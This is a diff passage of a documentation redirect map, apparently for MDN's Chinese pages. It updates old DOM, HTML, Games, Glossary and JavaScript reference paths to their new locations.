/zh-CN/docs/DOM/document.load /zh-CN/docs/Web/API/XMLDocument/load -/zh-CN/docs/DOM/document.mozFullScreen /zh-CN/docs/Web/API/Document/mozFullScreen -/zh-CN/docs/DOM/document.mozFullScreenElement /zh-CN/docs/Web/API/Document/mozFullScreenElement -/zh-CN/docs/DOM/document.mozFullScreenEnabled /zh-CN/docs/Web/API/Document/mozFullScreenEnabled +/zh-CN/docs/DOM/document.mozFullScreen /zh-CN/docs/Web/API/Document/fullscreen +/zh-CN/docs/DOM/document.mozFullScreenElement /zh-CN/docs/Web/API/DocumentOrShadowRoot/fullscreenElement +/zh-CN/docs/DOM/document.mozFullScreenEnabled /zh-CN/docs/Web/API/Document/fullscreenEnabled /zh-CN/docs/DOM/document.onreadystatechange /en-US/docs/Web/API/Document/readystatechange_event /zh-CN/docs/DOM/document.readyState /zh-CN/docs/Web/API/Document/readyState /zh-CN/docs/DOM/document.referrer /zh-CN/docs/Web/API/Document/referrer @@ -412,7 +417,7 @@ /zh-CN/docs/DOM/element /zh-CN/docs/Web/API/element /zh-CN/docs/DOM/element.addEventListener /zh-CN/docs/Web/API/EventTarget/addEventListener /zh-CN/docs/DOM/element.attributes /zh-CN/docs/Web/API/Element/attributes -/zh-CN/docs/DOM/element.blur /zh-CN/docs/Web/API/HTMLElement/blur +/zh-CN/docs/DOM/element.blur /zh-CN/docs/Web/API/HTMLOrForeignElement/blur /zh-CN/docs/DOM/element.childElementCount /zh-CN/docs/Web/API/ParentNode/childElementCount /zh-CN/docs/DOM/element.childNodes /zh-CN/docs/Web/API/Node/childNodes /zh-CN/docs/DOM/element.classList /zh-CN/docs/Web/API/Element/classList @@ -425,7 +430,7 @@ /zh-CN/docs/DOM/element.cloneNode /zh-CN/docs/Web/API/Node/cloneNode /zh-CN/docs/DOM/element.contentEditable /zh-CN/docs/Web/API/HTMLElement/contentEditable /zh-CN/docs/DOM/element.dir /zh-CN/docs/Web/API/HTMLElement/dir -/zh-CN/docs/DOM/element.focus /zh-CN/docs/Web/API/HTMLElement/focus +/zh-CN/docs/DOM/element.focus /zh-CN/docs/Web/API/HTMLOrForeignElement/focus /zh-CN/docs/DOM/element.getElementsByTagName /zh-CN/docs/Web/API/Element/getElementsByTagName /zh-CN/docs/DOM/element.hasAttributes /zh-CN/docs/Web/API/Element/hasAttributes /zh-CN/docs/DOM/element.hasChildNodes /zh-CN/docs/Web/API/Node/hasChildNodes @@ -434,7 +439,7 @@ /zh-CN/docs/DOM/element.insertAdjacentHTML /zh-CN/docs/Web/API/Element/insertAdjacentHTML /zh-CN/docs/DOM/element.isContentEditable /zh-CN/docs/Web/API/HTMLElement/isContentEditable /zh-CN/docs/DOM/element.mozmatchesselector /zh-CN/docs/Web/API/Element/matches -/zh-CN/docs/DOM/element.onafterscriptexecute /zh-CN/docs/Web/API/Element/onafterscriptexecute +/zh-CN/docs/DOM/element.onafterscriptexecute /zh-CN/docs/Web/API/Document/onafterscriptexecute /zh-CN/docs/DOM/element.onbeforescriptexecute /zh-CN/docs/Web/API/Document/onbeforescriptexecute /zh-CN/docs/DOM/element.onblur /zh-CN/docs/Web/API/GlobalEventHandlers/onblur /zh-CN/docs/DOM/element.onchange /zh-CN/docs/Web/API/GlobalEventHandlers/onchange @@ -456,12 +461,12 @@ /zh-CN/docs/DOM/element.previousElementSibling /zh-CN/docs/Web/API/NonDocumentTypeChildNode/previousElementSibling /zh-CN/docs/DOM/element.removeAttribute /zh-CN/docs/Web/API/Element/removeAttribute /zh-CN/docs/DOM/element.setCapture /zh-CN/docs/Web/API/Element/setCapture -/zh-CN/docs/DOM/element.tabIndex /zh-CN/docs/Web/API/HTMLElement/tabIndex +/zh-CN/docs/DOM/element.tabIndex /zh-CN/docs/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/DOM/element.tagName /zh-CN/docs/Web/API/Element/tagName /zh-CN/docs/DOM/event /zh-CN/docs/Web/API/Event -/zh-CN/docs/DOM/event.altKey /zh-CN/docs/Web/API/event.altKey +/zh-CN/docs/DOM/event.altKey /zh-CN/docs/conflicting/Web/API/MouseEvent/altKey /zh-CN/docs/DOM/event.bubbles /zh-CN/docs/Web/API/Event/bubbles -/zh-CN/docs/DOM/event.button /zh-CN/docs/Web/API/event.button +/zh-CN/docs/DOM/event.button /zh-CN/docs/conflicting/Web/API/MouseEvent/button /zh-CN/docs/DOM/event.cancelBubble /zh-CN/docs/Web/API/UIEvent/cancelBubble /zh-CN/docs/DOM/event.cancelable /zh-CN/docs/Web/API/Event/cancelable /zh-CN/docs/DOM/event.currentTarget /zh-CN/docs/Web/API/Event/currentTarget @@ -470,7 +475,7 @@ /zh-CN/docs/DOM/event.isTrusted /zh-CN/docs/Web/API/Event/isTrusted /zh-CN/docs/DOM/event.pageY /zh-CN/docs/Web/API/UIEvent/pageY /zh-CN/docs/DOM/event.preventDefault /zh-CN/docs/Web/API/Event/preventDefault -/zh-CN/docs/DOM/event.shiftKey /zh-CN/docs/Web/API/event.shiftKey +/zh-CN/docs/DOM/event.shiftKey /zh-CN/docs/conflicting/Web/API/MouseEvent/shiftKey /zh-CN/docs/DOM/event.stopImmediatePropagation /zh-CN/docs/Web/API/Event/stopImmediatePropagation /zh-CN/docs/DOM/event.stopPropagation /zh-CN/docs/Web/API/Event/stopPropagation /zh-CN/docs/DOM/event.timeStamp /zh-CN/docs/Web/API/Event/timeStamp @@ -491,11 +496,11 @@ /zh-CN/docs/DOM/window.URL.revokeObjectURL /zh-CN/docs/Web/API/URL/revokeObjectURL /zh-CN/docs/DOM/window.alert /zh-CN/docs/Web/API/Window/alert /zh-CN/docs/DOM/window.applicationCache /zh-CN/docs/Web/API/Window/applicationCache -/zh-CN/docs/DOM/window.atob /zh-CN/docs/Web/API/WindowBase64/atob -/zh-CN/docs/DOM/window.btoa /zh-CN/docs/Web/API/WindowBase64/btoa +/zh-CN/docs/DOM/window.atob /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/atob +/zh-CN/docs/DOM/window.btoa /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/btoa /zh-CN/docs/DOM/window.cancelAnimationFrame /zh-CN/docs/Web/API/Window/cancelAnimationFrame /zh-CN/docs/DOM/window.clearImmediate /zh-CN/docs/Web/API/Window/clearImmediate -/zh-CN/docs/DOM/window.clearInterval /zh-CN/docs/Web/API/Window/clearInterval +/zh-CN/docs/DOM/window.clearInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval /zh-CN/docs/DOM/window.close /zh-CN/docs/Web/API/Window/close /zh-CN/docs/DOM/window.content /zh-CN/docs/Web/API/Window/content /zh-CN/docs/DOM/window.document /zh-CN/docs/Web/API/Window/document @@ -525,17 +530,17 @@ /zh-CN/docs/DOM/window.navigator.userAgent /zh-CN/docs/Web/API/NavigatorID/userAgent /zh-CN/docs/DOM/window.navigator.vendor /zh-CN/docs/Web/API/Navigator/vendor /zh-CN/docs/DOM/window.navigator.vendorSub /zh-CN/docs/Web/API/Navigator/vendorSub -/zh-CN/docs/DOM/window.onbeforeunload /zh-CN/docs/Web/API/Window/onbeforeunload +/zh-CN/docs/DOM/window.onbeforeunload /zh-CN/docs/Web/API/WindowEventHandlers/onbeforeunload /zh-CN/docs/DOM/window.oncontextmenu /zh-CN/docs/Web/API/GlobalEventHandlers/oncontextmenu -/zh-CN/docs/DOM/window.onhashchange /zh-CN/docs/Web/API/Window/onhashchange +/zh-CN/docs/DOM/window.onhashchange /zh-CN/docs/Web/API/WindowEventHandlers/onhashchange /zh-CN/docs/DOM/window.oninput /zh-CN/docs/Web/API/GlobalEventHandlers/oninput -/zh-CN/docs/DOM/window.onmouseup /zh-CN/docs/Web/API/Window/onmouseup -/zh-CN/docs/DOM/window.onpopstate /zh-CN/docs/Web/API/Window/onpopstate +/zh-CN/docs/DOM/window.onmouseup /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onmouseup +/zh-CN/docs/DOM/window.onpopstate /zh-CN/docs/Web/API/WindowEventHandlers/onpopstate /zh-CN/docs/DOM/window.onresize /zh-CN/docs/Web/API/GlobalEventHandlers/onresize -/zh-CN/docs/DOM/window.onscroll /zh-CN/docs/Web/API/Window/onscroll +/zh-CN/docs/DOM/window.onscroll /zh-CN/docs/conflicting/Web/API/GlobalEventHandlers/onscroll /zh-CN/docs/DOM/window.onselect /zh-CN/docs/Web/API/GlobalEventHandlers/onselect /zh-CN/docs/DOM/window.onsubmit /zh-CN/docs/Web/API/GlobalEventHandlers/onsubmit -/zh-CN/docs/DOM/window.onunload /zh-CN/docs/Web/API/Window/onunload +/zh-CN/docs/DOM/window.onunload /zh-CN/docs/Web/API/WindowEventHandlers/onunload /zh-CN/docs/DOM/window.open /zh-CN/docs/Web/API/Window/open /zh-CN/docs/DOM/window.openDialog /zh-CN/docs/Web/API/Window/openDialog /zh-CN/docs/DOM/window.opener /zh-CN/docs/Web/API/Window/opener @@ -547,12 +552,12 @@ /zh-CN/docs/DOM/window.requestAnimationFrame /zh-CN/docs/Web/API/Window/requestAnimationFrame /zh-CN/docs/DOM/window.scrollByPages /zh-CN/docs/Web/API/Window/scrollByPages /zh-CN/docs/DOM/window.setImmediate /zh-CN/docs/Web/API/Window/setImmediate -/zh-CN/docs/DOM/window.setInterval /zh-CN/docs/Web/API/Window/setInterval -/zh-CN/docs/DOM/window.setTimeout /zh-CN/docs/Web/API/Window/setTimeout -/zh-CN/docs/DOM/window.setTimeout12 /zh-CN/docs/Web/API/Window/setTimeout -/zh-CN/docs/DOM/文件系统API的基本概念 /zh-CN/docs/WebGuide/API/File_System/Introduction +/zh-CN/docs/DOM/window.setInterval /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setInterval +/zh-CN/docs/DOM/window.setTimeout /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout +/zh-CN/docs/DOM/window.setTimeout12 /zh-CN/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout +/zh-CN/docs/DOM/文件系统API的基本概念 /zh-CN/docs/Web/API/File_and_Directory_Entries_API/Introduction /zh-CN/docs/DOM:HTMLDocument /zh-CN/docs/Web/API/HTMLDocument -/zh-CN/docs/DOM:Storage /zh-CN/docs/Web/Guide/API/DOM/Storage +/zh-CN/docs/DOM:Storage /zh-CN/docs/conflicting/Web/API/Web_Storage_API /zh-CN/docs/DOM:XMLDocument /zh-CN/docs/Web/API/XMLDocument /zh-CN/docs/DOM:document /zh-CN/docs/Web/API/Document /zh-CN/docs/DOM:document.createElement /zh-CN/docs/Web/API/document/createElement @@ -587,10 +592,11 @@ /zh-CN/docs/Developer_Guide/Adding_APIs_to_the_navigator_object /zh-CN/docs/Mozilla/Developer_guide/Adding_APIs_to_the_navigator_object /zh-CN/docs/Developer_Guide/Source_Code /zh-CN/docs/Mozilla/Developer_guide/Source_Code /zh-CN/docs/Developer_Guide/Source_Code/通过Mercurial获取源码 /zh-CN/docs/Mozilla/Developer_guide/Source_Code/LatestPassingSource -/zh-CN/docs/Document_Object_Model_(DOM)/window.onbeforeunload /zh-CN/docs/Web/API/Window/onbeforeunload +/zh-CN/docs/Document_Object_Model_(DOM)/window.onbeforeunload /zh-CN/docs/Web/API/WindowEventHandlers/onbeforeunload /zh-CN/docs/Download_Mozilla_Source_Code /en-US/docs/Mozilla/Developer_guide/Source_Code/Downloading_Source_Archives /zh-CN/docs/DragDrop/拖拽 /zh-CN/docs/Drag_and_Drop /zh-CN/docs/Enumerability_and_ownership_of_properties /zh-CN/docs/Web/JavaScript/Enumerability_and_ownership_of_properties +/zh-CN/docs/Example_2_-_Using_UL /zh-CN/docs/orphaned/Example_2_-_Using_UL /zh-CN/docs/Extension_Frequently_Asked_Questions /zh-CN/docs/Mozilla/add-ons/Extension_Frequently_Asked_Questions_move /zh-CN/docs/Firefox_12_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/12 /zh-CN/docs/Firefox_14_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/14 @@ -603,21 +609,66 @@ /zh-CN/docs/Firefox_22_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/22 /zh-CN/docs/Firefox_3.6_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/3.6 /zh-CN/docs/Firefox_3_for_developers /zh-CN/docs/Mozilla/Firefox/Releases/3 +/zh-CN/docs/Games/Introduction_to_HTML5_Game_Gevelopment_(summary) /zh-CN/docs/Games/Introduction_to_HTML5_Game_Development +/zh-CN/docs/Games/Publishing_games/游戏货币化 /zh-CN/docs/Games/Publishing_games/Game_monetization +/zh-CN/docs/Games/Techniques/Control_mechanisms/移动端触摸控制 /zh-CN/docs/Games/Techniques/Control_mechanisms/Mobile_touch +/zh-CN/docs/Games/Tools/引擎和工具 /zh-CN/docs/orphaned/Games/Tools/Engines_and_tools /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/创建、绘制画布 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/反弹的墙壁 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/撞击处理 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection +/zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/让球动起来 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball -/zh-CN/docs/Getting_Started__junk /zh-CN/docs/Web/Guide/CSS/Getting_started +/zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制 /zh-CN/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls +/zh-CN/docs/Games/简介 /zh-CN/docs/Games/Introduction +/zh-CN/docs/Getting_Started__junk /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/Glossary/DTD /zh-CN/docs/conflicting/Glossary/Doctype +/zh-CN/docs/Glossary/Header /zh-CN/docs/Glossary/HTTP_header +/zh-CN/docs/Glossary/IP地址 /zh-CN/docs/Glossary/IP_Address +/zh-CN/docs/Glossary/Serialize /zh-CN/docs/Glossary/Serialization +/zh-CN/docs/Glossary/主轴 /zh-CN/docs/Glossary/Main_Axis +/zh-CN/docs/Glossary/交叉轴 /zh-CN/docs/Glossary/Cross_Axis +/zh-CN/docs/Glossary/代理服务器 /zh-CN/docs/Glossary/Proxy_server +/zh-CN/docs/Glossary/优雅降级 /zh-CN/docs/Glossary/Graceful_degradation +/zh-CN/docs/Glossary/伪类 /zh-CN/docs/Glossary/Pseudo-class /zh-CN/docs/Glossary/作用域 /zh-CN/docs/Glossary/Scope +/zh-CN/docs/Glossary/元素 /zh-CN/docs/Glossary/Element /zh-CN/docs/Glossary/全局文档环境 /zh-CN/docs/Glossary/document_environment +/zh-CN/docs/Glossary/卡片分类法 /zh-CN/docs/Glossary/Card_sorting /zh-CN/docs/Glossary/变量提升 /zh-CN/docs/Glossary/Hoisting /zh-CN/docs/Glossary/回流 /zh-CN/docs/Glossary/Reflow +/zh-CN/docs/Glossary/地址路由参数域 /zh-CN/docs/Glossary/ARPA +/zh-CN/docs/Glossary/域名 /zh-CN/docs/Glossary/Domain_name +/zh-CN/docs/Glossary/基线 /zh-CN/docs/Glossary/baseline +/zh-CN/docs/Glossary/字符编码 /zh-CN/docs/Glossary/character_encoding +/zh-CN/docs/Glossary/幂等 /zh-CN/docs/Glossary/Idempotent +/zh-CN/docs/Glossary/异步 /zh-CN/docs/Glossary/Asynchronous +/zh-CN/docs/Glossary/抽象编程 /zh-CN/docs/Glossary/Abstraction +/zh-CN/docs/Glossary/数字证书 /zh-CN/docs/Glossary/Digital_certificate +/zh-CN/docs/Glossary/数据库 /zh-CN/docs/Glossary/Database +/zh-CN/docs/Glossary/正常模式 /zh-CN/docs/Glossary/Sloppy_mode +/zh-CN/docs/Glossary/浏览器 /zh-CN/docs/Glossary/Browser +/zh-CN/docs/Glossary/渐进增强 /zh-CN/docs/Glossary/Progressive_Enhancement +/zh-CN/docs/Glossary/源 /zh-CN/docs/Glossary/Origin +/zh-CN/docs/Glossary/禁止修改的消息首部 /zh-CN/docs/Glossary/Forbidden_header_name +/zh-CN/docs/Glossary/空元素 /zh-CN/docs/Glossary/Empty_element +/zh-CN/docs/Glossary/立即执行函数表达式 /zh-CN/docs/Glossary/IIFE +/zh-CN/docs/Glossary/第一字节时间 /zh-CN/docs/Glossary/time_to_first_byte +/zh-CN/docs/Glossary/简单头部 /zh-CN/docs/Glossary/Simple_header +/zh-CN/docs/Glossary/算法 /zh-CN/docs/Glossary/Algorithm +/zh-CN/docs/Glossary/类型转换 /zh-CN/docs/Glossary/Type_Conversion +/zh-CN/docs/Glossary/编译 /zh-CN/docs/Glossary/Compile +/zh-CN/docs/Glossary/编译时间 /zh-CN/docs/Glossary/Compile_time +/zh-CN/docs/Glossary/语义 /zh-CN/docs/Glossary/Semantics +/zh-CN/docs/Glossary/请求头 /zh-CN/docs/Glossary/Request_header +/zh-CN/docs/Glossary/通用首部 /zh-CN/docs/Glossary/General_header +/zh-CN/docs/Glossary/面向对象编程 /zh-CN/docs/Glossary/OOP +/zh-CN/docs/Glossary_of_translation /zh-CN/docs/orphaned/Glossary_of_translation /zh-CN/docs/HTML /zh-CN/docs/Web/HTML /zh-CN/docs/HTML/Block-level_elements /zh-CN/docs/Web/HTML/Block-level_elements /zh-CN/docs/HTML/Canvas /zh-CN/docs/Web/API/Canvas_API -/zh-CN/docs/HTML/Canvas/Drawing_graphics_with_canvas /zh-CN/docs/Web/API/Canvas_API/Drawing_graphics_with_canvas +/zh-CN/docs/HTML/Canvas/Drawing_graphics_with_canvas /zh-CN/docs/conflicting/Web/API/Canvas_API/Tutorial /zh-CN/docs/HTML/Canvas/Tutorial /zh-CN/docs/Web/API/Canvas_API/Tutorial -/zh-CN/docs/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Content_Editable +/zh-CN/docs/HTML/Content_Editable /zh-CN/docs/Web/Guide/HTML/Editable_content /zh-CN/docs/HTML/Element /zh-CN/docs/Web/HTML/Element /zh-CN/docs/HTML/Element/Input /zh-CN/docs/Web/HTML/Element/Input /zh-CN/docs/HTML/Element/Source /zh-CN/docs/Web/HTML/Element/source @@ -627,7 +678,7 @@ /zh-CN/docs/HTML/Element/audio /zh-CN/docs/Web/HTML/Element/audio /zh-CN/docs/HTML/Element/canvas /zh-CN/docs/Web/HTML/Element/canvas /zh-CN/docs/HTML/Element/code /zh-CN/docs/Web/HTML/Element/code -/zh-CN/docs/HTML/Element/command /zh-CN/docs/Web/HTML/Element/command +/zh-CN/docs/HTML/Element/command /zh-CN/docs/orphaned/Web/HTML/Element/command /zh-CN/docs/HTML/Element/datalist /zh-CN/docs/Web/HTML/Element/datalist /zh-CN/docs/HTML/Element/header /zh-CN/docs/Web/HTML/Element/header /zh-CN/docs/HTML/Element/iframe /zh-CN/docs/Web/HTML/Element/iframe @@ -637,14 +688,14 @@ /zh-CN/docs/HTML/Element/section /zh-CN/docs/Web/HTML/Element/section /zh-CN/docs/HTML/Element/video /zh-CN/docs/Web/HTML/Element/video /zh-CN/docs/HTML/Element/视频 /zh-CN/docs/Web/HTML/Element/video -/zh-CN/docs/HTML/Focus_management_in_HTML /zh-CN/docs/Web/HTML/Focus_management_in_HTML -/zh-CN/docs/HTML/Forms /zh-CN/docs/Learn/HTML/Forms -/zh-CN/docs/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript -/zh-CN/docs/HTML/Forms_in_HTML /zh-CN/docs/Web/Guide/HTML/Forms_in_HTML +/zh-CN/docs/HTML/Focus_management_in_HTML /zh-CN/docs/conflicting/Web/API/Document/hasFocus +/zh-CN/docs/HTML/Forms /zh-CN/docs/Learn/Forms +/zh-CN/docs/HTML/Forms/Sending_forms_through_JavaScript /zh-CN/docs/Learn/Forms/Sending_forms_through_JavaScript +/zh-CN/docs/HTML/Forms_in_HTML /zh-CN/docs/orphaned/Learn/HTML/Forms/HTML5_updates /zh-CN/docs/HTML/HTML5 /zh-CN/docs/Web/Guide/HTML/HTML5 /zh-CN/docs/HTML/HTML5-and-his-friends /zh-CN/docs/Web/Guide/HTML/HTML5 -/zh-CN/docs/HTML/HTML5/HTML5_Tags_List /zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_element_list -/zh-CN/docs/HTML/HTML5/HTML5_Thematic_Classification /zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_Thematic_Classification +/zh-CN/docs/HTML/HTML5/HTML5_Tags_List /zh-CN/docs/conflicting/Web/HTML/Element +/zh-CN/docs/HTML/HTML5/HTML5_Thematic_Classification /zh-CN/docs/conflicting/Web/Guide/HTML/HTML5 /zh-CN/docs/HTML/HTML5/HTML5_入门 /zh-CN/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5 /zh-CN/docs/HTML/HTML_Elements /zh-CN/docs/Web/HTML/Element/Heading_Elements /zh-CN/docs/HTML/HTML_Elements/time /zh-CN/docs/Web/HTML/Element/time @@ -653,13 +704,13 @@ /zh-CN/docs/HTML/块级元素 /zh-CN/docs/Web/HTML/Block-level_elements /zh-CN/docs/HTML\Canvas\Tutorial /zh-CN/docs/Web/API/Canvas_API/Tutorial /zh-CN/docs/HTTP /zh-CN/docs/Web/HTTP -/zh-CN/docs/HTTP/HTTP_response_codes /zh-CN/docs/Web/HTTP/HTTP_response_codes +/zh-CN/docs/HTTP/HTTP_response_codes /zh-CN/docs/conflicting/Web/HTTP/Status /zh-CN/docs/IndexedDB /zh-CN/docs/Web/API/IndexedDB_API /zh-CN/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB /zh-CN/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB /zh-CN/docs/IndexedDB/IDBObjectStore /zh-CN/docs/Web/API/IDBObjectStore /zh-CN/docs/IndexedDB/Using_IndexedDB /zh-CN/docs/Web/API/IndexedDB_API/Using_IndexedDB /zh-CN/docs/Introducing_the_Audio_API_Extension /zh-CN/docs/Introducing_Audio_API_Extension -/zh-CN/docs/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript +/zh-CN/docs/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/Web/XPath/Introduction_to_using_XPath_in_JavaScript /zh-CN/docs/JS-ref /zh-CN/docs/Web/JavaScript/Reference /zh-CN/docs/JS-ref/About /zh-CN/docs/Web/JavaScript/Reference/About /zh-CN/docs/JS-ref/Array /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array @@ -674,14 +725,14 @@ /zh-CN/docs/JS-ref/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/JS-ref/Array/map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/JS-ref/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/JS-ref/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/JS-ref/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/JS-ref/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/JS-ref/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/JS-ref/Array/some /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/JS-ref/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/JS-ref/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/JS-ref/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/zh-CN/docs/JS-ref/Boolean/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype +/zh-CN/docs/JS-ref/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/JS-ref/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/JS-ref/Date/getDate /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate /zh-CN/docs/JS-ref/Date/getDay /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay @@ -776,7 +827,7 @@ /zh-CN/docs/JS-ref/Global_Objects/Object/preventExtensions/Global_Objects /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen /zh-CN/docs/JS-ref/Global_Objects/Object/propertyIsEnumerable /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable /zh-CN/docs/JS-ref/Global_Objects/Object/proto /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/proto -/zh-CN/docs/JS-ref/Global_Objects/Object/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype +/zh-CN/docs/JS-ref/Global_Objects/Object/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/JS-ref/Global_Objects/Object/seal /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/seal /zh-CN/docs/JS-ref/Global_Objects/Object/setPrototypeOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf /zh-CN/docs/JS-ref/Global_Objects/Object/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/toSource @@ -787,7 +838,7 @@ /zh-CN/docs/JS-ref/Global_Objects/Proxy /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy /zh-CN/docs/JS-ref/Global_Objects/Set /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set /zh-CN/docs/JS-ref/Global_Objects/WeakSet /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet -/zh-CN/docs/JS-ref/Global_Objects/WeakSet/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +/zh-CN/docs/JS-ref/Global_Objects/WeakSet/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet /zh-CN/docs/JS-ref/Global_Objects/decodeURI /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/decodeURI /zh-CN/docs/JS-ref/Global_Objects/isFinite /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/isFinite /zh-CN/docs/JS-ref/Global_Objects/null /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/null @@ -795,7 +846,7 @@ /zh-CN/docs/JS-ref/Global_Objects/undefined /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/undefined /zh-CN/docs/JS-ref/Map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map /zh-CN/docs/JS-ref/Operators /zh-CN/docs/Web/JavaScript/Reference/Operators -/zh-CN/docs/JS-ref/Operators/Logical_Operators /zh-CN/docs/Web/JavaScript/Reference/Operators/Logical_Operators +/zh-CN/docs/JS-ref/Operators/Logical_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca /zh-CN/docs/JS-ref/Operators/Operator_Precedence /zh-CN/docs/Web/JavaScript/Reference/Operators/Operator_Precedence /zh-CN/docs/JS-ref/Operators/delete /zh-CN/docs/Web/JavaScript/Reference/Operators/delete /zh-CN/docs/JS-ref/Operators/in /zh-CN/docs/Web/JavaScript/Reference/Operators/in @@ -806,7 +857,7 @@ /zh-CN/docs/JS-ref/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JS-ref/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/JS-ref/RegExp/lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/zh-CN/docs/JS-ref/RegExp/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype +/zh-CN/docs/JS-ref/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JS-ref/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/JS-ref/Spread_operator /en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax /zh-CN/docs/JS-ref/Statements /zh-CN/docs/Web/JavaScript/Reference/Statements @@ -821,8 +872,8 @@ /zh-CN/docs/JS-ref/Statements/let /zh-CN/docs/Web/JavaScript/Reference/Statements/let /zh-CN/docs/JS-ref/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String /zh-CN/docs/JS-ref/String/Trim /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/zh-CN/docs/JS-ref/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft -/zh-CN/docs/JS-ref/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight +/zh-CN/docs/JS-ref/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/JS-ref/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/JS-ref/String/concat 